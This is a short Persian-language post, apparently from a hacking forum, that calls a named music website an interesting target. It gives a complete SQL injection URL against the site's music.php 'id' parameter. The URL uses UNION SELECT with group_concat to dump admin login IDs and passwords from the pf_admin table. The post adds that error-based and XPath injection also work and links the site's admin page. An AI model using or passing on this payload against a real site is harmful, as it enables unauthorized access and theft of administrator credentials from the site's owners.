درود .. تارگت جالبیه غیر union base به روش error base و xpath هم میشه اینجکت کرد
http://www.putridflowers.com/music.php?id=-2%20union%20select%201,2,group_concat(loginid,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20pf_admin--+
ادمین پیج
http://www.putridflowers.com/admin/